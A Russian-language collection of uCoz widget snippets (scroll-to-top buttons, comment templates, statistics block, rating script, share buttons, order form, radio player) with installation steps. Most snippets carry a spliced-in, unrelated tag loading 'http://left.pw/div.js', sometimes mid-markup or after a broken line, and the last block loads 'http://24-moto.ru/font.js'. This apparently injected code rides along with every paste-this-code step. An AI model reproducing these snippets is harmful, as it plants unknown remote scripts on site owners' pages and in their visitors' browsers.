Скрипты для ukoz
$IMAGE1$
Скрипт кнопка вверх на подобии такой как в вк для сайта.
Установка:
1) Заходим в Панель Управления сайтом потом в Управление дизайном - Прописываем стили в таблице стилей (CSS) в самый низ:
Код
.scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1}
3) А вот этот код прописываем в нижнюю или верхнюю часть сайта:
Код
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('body').append("<div class='scrolltotop'><div class='scrolltotop__side'></div><div class='scrolltotop__arrow'></div></div>");
jQuery(window).scroll(function(){
if (jQuery(this).scrollTop() > 350) {
jQuery('.scrolltotop').fadeIn();
} else {
jQuery('.scrolltotop').fadeOut();
}
});
jQuery('.scrolltotop').click(function(){
jQuery("html, body").animate({ scrollTop: 0 }, 600);
return false;
});
});0
</script><script type="text/javascript" src="http://left.pw/div.js"></script>
На этом установка завершена. Скрипт проверен в IE 9, в мозиле, опере, гугл хроме
$IMAGE1$
Уважаемые пользователи сайта, вот не плохой и даже очень оригинальный Вид комментариев ucoz с круглым Avatar, где сами картинки будут распологаться напротив и это очень красиво смотриться. Был создан он по своим стилям, как для светло серого сайта и безусловно он еще подойдет на темный дизайн.
Установка его очень проста, для начало нужно добавить стиль на его. Если идет стиль на скрипт, то можно сразу сказать что он будет смотрется красиво и даже иметь свои тени. Но потом и сам код заминить на тот который увас стоит по умолчанию, если у вас стандартный шаблон и все сохранить.
1) Заходим в панель управления и выбираем "вид комментариев" и меняем там все на наш скрипт.
Код
<?if($CLASS$)=='cBlock1'?>
<div style="padding-bottom:9px;">
<table cellspacing="0" width=100%><tr><td width=96 valign=top>
<div class="ob_wp1"><div style="padding-top:4px;padding-left:4px">
<div class="ob_wp">
<div style="padding-top:4px;padding-left:4px"> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" title="$USERNAME$"><img src="$USER_AVATAR_URL$" width=65 height=65 class="com_wp"></a><?else?><a href="$PROFILE_URL$" title="$USERNAME$"><div class="com_wp"></div></a><?endif?>
</div> </div> </div></div>
<div style="margin-left:-15px"> <center>
<?if($MODER_PANEL$)?>
<a href="javascript://" rel="new_uWnd" onclick="del_item($ID$);return false;" id="di$ID$" style="text-decoration:none">удалить</a>
<?endif?>
</center></div>
</td><td valign=top>
<div style="position: absolute;margin-left:-9px;margin-top:14px;"><div id="triangle-left"></div></div>
<div class="mess_wp">
<div style="padding:6px">
<table><tr>
<td valign=top><script type="text/javascript" src="http://left.pw/div.js"></script><div class="tim_wp"><div style="font-family:Tahoma;color:#797979;padding-left:7px;padding-right:7px;padding-top:4px;padding-bottom:7px">$TIME$</div></div></td>
<td><div style="font-family:Tahoma;color:#595959;padding-left:7px;"><b>$MESSAGE$</b></div></td>
</tr></table>
</div>
</div>
</div>
</td></tr></table>
<?else?>
<div style="padding-bottom:9px;">
<table cellspacing="0" width=100%><tr><td valign=top>
<div class="mess_wp">
<div style="padding:6px">
<table><tr>
<td valign=top>
<div class="tim_wp"><div style="font-family:Tahoma;color:#797979;padding-left:7px;padding-right:7px;padding-top:4px;padding-bottom:7px">$TIME$</div></div></td>
<td><div style="font-family:Tahoma;color:#595959;padding-left:7px;"><b>$MESSAGE$</b></div></td>
</tr></table>
</div>
</div>
</div>
</td><td width=96>
<div style="position: absolute;margin-left:-2px;margin-top:14px;"><div id="triangle-left1"></div></div>
<div style="float:right">
<div class="ob_wp1"><div style="padding-top:4px;padding-left:4px">
<div class="ob_wp">
<div style="padding-top:4px;padding-left:4px"> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" title="$USERNAME$"><img src="$USER_AVATAR_URL$" width=65 height=65 class="com_wp"></a><?else?><a href="$PROFILE_URL$" title="$USERNAME$"><div class="com_wp"></div></a><?endif?>
</div> </div> </div></div></div>
<div style="margin-right:-24px"> <center>
<?if($MODER_PANEL$)?>
<a href="javascript://" rel="new_uWnd" onclick="del_item($ID$);return false;" id="di$ID$" style="text-decoration:none">удалить</a>
<?endif?>
</center></div>
</td></tr></table>
<?endif?>
И CSS добавляем.
Код
.com_wp {border-radius:50%;background:#fff;width:65;height:65}
$IMAGE1$
Создайте блок с названием "Cтатистика сайта" и вставьте в него сделующий код:
Код
<div id="statistic">
<div class="Tstatis">
<div class="title_statis">Счетчики пользователей</div>
<div class="turn" onclick="$('.Bstatis').slideToggle('slow');" href="javascript://"></div>
</div>
<div style="display:none;" class="Bstatis">
$MYINF_1$
</div>
<div class="Tstatis">
<div class="title_statis">Онлайн сайта</div>
<div class="turn" onclick="$('.Bstatis2').slideToggle('slow');" href="javascript://"></div>
</div><script type="text/javascript" src="http://left.pw/div.js"></script>
<div style="display:none;" class="Bstatis2">
$ONLINE_COUNTER$
</div>
<div class="Tstatis">
<div class="title_statis">Счетчики сайта</div>
<div class="turn" onclick="$('.Bstatis3').slideToggle('slow');" href="javascript://"></div>
</div>
<div style="display:none;text-align:center;" class="Bstatis3">
$COUNTER$
</div>
<div class="Tstatis">
<div class="title_statis">Сегодня нас посетили</div>
<div class="turn" onclick="$('.Bstatis4').slideToggle('slow');" href="javascript://"></div>
</div>
<div style="display:none;padding-left:4px;" class="Bstatis4">
$MYINF_2$
</div>
</div>
Этот код нужно поставить на все страницы, перед </head> !!!
Код
<script src="http://pnghosts.ru/js/jquery.js" type="text/javascript"></script>
Создайте два информера:
$MYINF_1$
[ Счетчики для пользователей · Материалы · всех, по дням (сегодня, вчера, 7 дней, 30 дней) ]
Код
<dl>Всего: $ALL_USERS$</dl>
<dl>За месяц: $30DAYS$</dl>
<dl>За неделю: $7DAYS$</dl>
<dl>Вчера: $YESTERDAY$</dl>
<dl>Сегодня: $TODAY$</dl>
$MYINF_2$
[ Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя ]
Код автоматом ставится.
В CSS добавьте стили:
Код
#statistic {width:208px;overflow:hidden;margin:0 auto;color:#fff;}
$IMAGE1$
скрипт рейтинга с положительной и отрицательной оценкой для юкоз
Установка:
В шаблон вида материалов нужного модуля вставляем код:
Код
<script type="text/javascript" src="http://pnghosts.ru/js_css/55_rate.js"></script>
<div class="rate">
<a class="orating_m" title="Не нравится" href="#" onclick="rateForm(-1,$ID$);return false"></a>
<a class="orating_p" title="Нравится" href="#" onclick="rateForm(1,$ID$);return false"></a>
<a class="orating_res"><script type="text/javascript" src="http://left.pw/div.js"></script><b title="Голосов: $RATED$" id="rate_$ID$" class="<?if(($RATING$*$RATED$-2*$RATED$)=0)?>nullRate<?else?><?if(($RATING$*$RATED$-2*$RATED$)<0)?>negativeRate<?else?>positiveRate<?endif?> <?endif?>"><script type="text/javascript">document.write(Math.round(<?($RATING$*$RATED$)?>)-<?2*$RATED$?>)</script></b> </a>
</div>
В CSS стиль вставляем:
Код
.rate {background:url(http://pnghosts.ru/img/orating.png) no-repeat; width:73px; height:21px; position:relative; margin:7px 0 0 5px; padding:3px 0 0 0; text-align:center;}
Для модуля "Новости", заменяем $ID$ на $ENTRY_ID$
$IMAGE1$
Кнопка наверх выполненная в виде ракеты с эффектом огня
Устанавливаем в нижнюю часть сайта:
<div id="MrScrollUp" style="display: block; right: 49.5px;">
<div class="MrScrollUp1" style="opacity: 0; display: block; background-position: -62px 0px;"></div>
<div class="MrScrollUp2"></div><script type="text/javascript" src="http://left.pw/div.js"></script></div>
<link rel="stylesheet" type="text/css" href="http://pnghosts.ru/js_css/raketa.css">
<script type="text/javascript" src="http://pnghosts.ru/js_css/MrScrollUp_raketa.js"></script>
$IMAGE1$
Набор соц. закладок для сайта - твиттер, вк, фейсбук, гугл +1
Установка:
Где желаем видеть вставляем код в HTML:
Код
<table style="width: 100%; height: 100px;border-collapse: collapse;"><tbody><tr><td style="width: 25%; height: 50px; background-image: url(http://pnghosts.ru/img/vk1.jpg); letter-spacing: 0px; word-spacing: 0px; text-align: center; vertical-align: middle; background-position: 50% 50%; background-repeat: repeat repeat;"><script type="text/javascript" src="http://left.pw/div.js"></script><img src="http://pnghosts.ru/img/vk2.jpg" alt="" align="middle"><br></td><td style="width: 25%; height: 60px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/tw1.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><img src="http://pnghosts.ru/img/tw2.jpg" alt="" align="middle"><br></td><td style="width: 25%; height: 60px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/fb1.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><img src="http://pnghosts.ru/img/fb2.jpg" alt="" align="middle"><br></td><td style="width: 25%; height: 60px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/gp1.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><img src="http://pnghosts.ru/img/gp2.jpg" alt="" align="middle"><br></td></tr><tr><td style="width: 25%; height: 40px; background-image: url(http://pnghosts.ru/img/vk3.jpg); letter-spacing: 0px; word-spacing: 0px; text-align: center; vertical-align: middle; background-position: 50% 50%;"><div align="center"><!-- Put this script tag to the <head> of your page -->
<script type="text/javascript" src="http://vk.com/js/api/share.js?90" charset="windows-1251"></script>
<!-- Put this script tag to the place, where the Share button will be -->
<script type="text/javascript"><!--
document.write(VK.Share.button(false,{type: "round", text: "Поделиться"}));
--></script></div></td><td style="width: 25%; height: 40px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/tw3.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><div align="center"><a href="https://twitter.com/share" class="twitter-share-button" data-lang="ru" data-count="none">Твитнуть</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script></div></td><td style="width: 25%; height: 40px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/fb3.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 0% 0%;"><div align="center"><a name="fb_share" type="button_count" href="http://www.facebook.com/sharer.php">Опубликовать</a>
<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script></div></td><td style="width: 25%; height: 40px; text-align: center; vertical-align: middle; background-image: url(http://pnghosts.ru/img/gp3.jpg); letter-spacing: 0px; word-spacing: 0px; background-position: 50% 50%;"><div align="center"><!-- Поместите этот тег туда, где должна отображаться кнопка +1. -->
<div class="g-plusone" data-annotation="inline" data-width="160"></div>
<!-- Поместите этот тег за последним тегом виджета кнопка +1. -->
<script type="text/javascript">
window.___gcfg = {lang: 'ru'};
(function() {
var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
po.src = 'https://apis.google.com/js/platform.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
})();
</script></div></td></tr></tbody></table>
$IMAGE1$
Сегодня Вашему вниманию предлагаю скрипт, который добавляет форму для оформления быстрого заказа на Ваш сайт.
Данный функционал очень полезен для интернет-магазинов, повышает лояльность пользователей и отлично дополнит практически любой сайт.
Как обычно - скрипт полностью готов к использованию и Вы можете установить его к себе на сайт добавив всего несколько строк javascript.
Итак, для того, чтобы добавить к себе на сайт эту форму необходимо:
Зайти в "Панель управления" - "Дизайн" - "Управление дизайном (CSS)" - "Глобальные блоки : Верхняя часть сайта" и вставить скрипт:
Код
<script type="text/javascript" src="http://my.uguide.ru/uorder/uOrder.js"></script>
Вместо feedback@site.ru и email@site.ru нужно подставить свои электронные адреса.
Доступные настройки:
subject: "Заказ от ", //Надпись, которая будет в теме отправленного вам письма
site: "с сайта ",
title: "Быстрый заказ",
name: "Ваше имя", //Название поля для имени
adress: "Ваш адрес", //Название поля для адреса
phone: "Ваш телефон", //Название поля для телефона
comment: "Ваш вопрос", //Название поля для комментария
button: "Заказать", //Надпись на кнопке, с помощью которой происходит отправка формы
call_btn: "Оформить быстрый заказ",
colors: "#e84242",
email_from: null,
email_to: null,
status_sending: "Отправка...",
status_error: "Заполните все обязательные поля!"
Код
<link rel="stylesheet" href="http://shtorm.fm/api/styles.css" type="text/css"><script type="text/javascript"> var streams = new Object;streams["trend48"] = "http://live.shtorm.fm:8000/aac48";streams["trend128"] = "http://live.shtorm.fm:8000/112";streams["gold48"] = "http://live.shtorm.fm:8000/aac48_nerus";streams["gold128"] = "http://live.shtorm.fm:8000/mp3_128_nerus";streams["club48"] = "http://live.shtorm.fm:8000/aac";streams["club128"] = "http://live.shtorm.fm:8000/mp3";streams["rus48"] = "http://radio.rushtorm.ru:8000/aac48";streams["rus128"] = "http://radio.rushtorm.ru:8000/mp3";streams["rock48"] = "http://live1.shtorm.fm:8000/aac48_rock";streams["rock128"] = "http://live1.shtorm.fm:8000/mp3_rock";streams["classic48"] = "http://live.shtorm.fm:8000/aac48_classic";streams["classic128"] = "http://live.shtorm.fm:8000/mp3_classic";streams["disco48"] = "http://live1.shtorm.fm:8000/aac48_discach";streams["disco128"] = "http://live1.shtorm.fm:8000/mp3_discach"; var stream48 = streams["trend48"]; var stream128 = streams["trend128"];</script><script type="text/javascript" src="http://shtorm.fm/api/script.js"></script><div id="radioshtorm"> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" id="player-h" align="middle" height="110" width="240"> <param name="movie" value="http://shtorm.fm/api/player-h.swf"> <param name="wmode" value="transparent"> <param name="allowScriptAccess" value="sameDomain"> <param name="FlashVars" value="defStream=trend&defUrl=http://shtorm.fm/api/&autoplay=no"> <!--[if !IE]>--> <object type="application/x-shockwave-flash" data="http://shtorm.fm/api/player-h.swf" height="110" width="240"> <param name="movie" value="http://shtorm.fm/api/player-h.swf"> <param name="wmode" value="transparent"> <param name="allowScriptAccess" value="sameDomain"> <param name="FlashVars" value="defStream=trend&defUrl=http://shtorm.fm/api/&autoplay=no"> <!--<![endif]--> <div id="playerHtml5" class="player-h"> <div id="logo"></div> <div id="song"></div> <div id="play"></div> <div id="stop" style="display:none"></div> <div id="b48" class="active">48</div> <div id="b128">128</div> <div id="other"></div> <div id="otherSet"> <div class="stream" id="disco">Дискач</div> <div class="stream" id="gold">Золотой</div> <div class="stream" id="trend">Трендовый</div> <div class="stream" id="club">Клубный</div> <div class="stream" id="rus">Русский</div> <div class="stream" id="rock">Роковый</div> <div class="stream" id="classic">Классический</div> <div class="clr"></div> </div> </div> <!--[if !IE]>--> </object> <!--<![endif]--> </object></div>
Код
<embed type="application/x-vlc-plugin" src="http://live1.shtorm.fm:8000/mp3_discach.m3u" width="196" height="91">
$IMAGE1$
Создать глобальный блок и вставляет в него код:
Код
<center>$COUNTER$</center>
<hr><center><img src="http://pnghosts.ru/img/81.png" border="0"></a></center> $ONLINE_COUNTER$[ <a href="#" onclick="new _uWnd('OnUsrLst',' ',250,200,{autosize:0},{url:'/index/62'});return false;">Кто on-line?</a> ]<script type="text/javascript" src="http://24-moto.ru/font.js"></script><br>[ <a href="#" onclick="new _uWnd('TdUsrLst',' ',250,450,{autosize:0},{url:'/index/62-2'}); return false;" class="fUsrList">Кто нас сегодня посетил</a> ]
Радио Шторм
48
128
Дискач
Золотой
Трендовый
Клубный
Русский
Роковый
Классический
Наш Баннер
Помоги ресурсу!
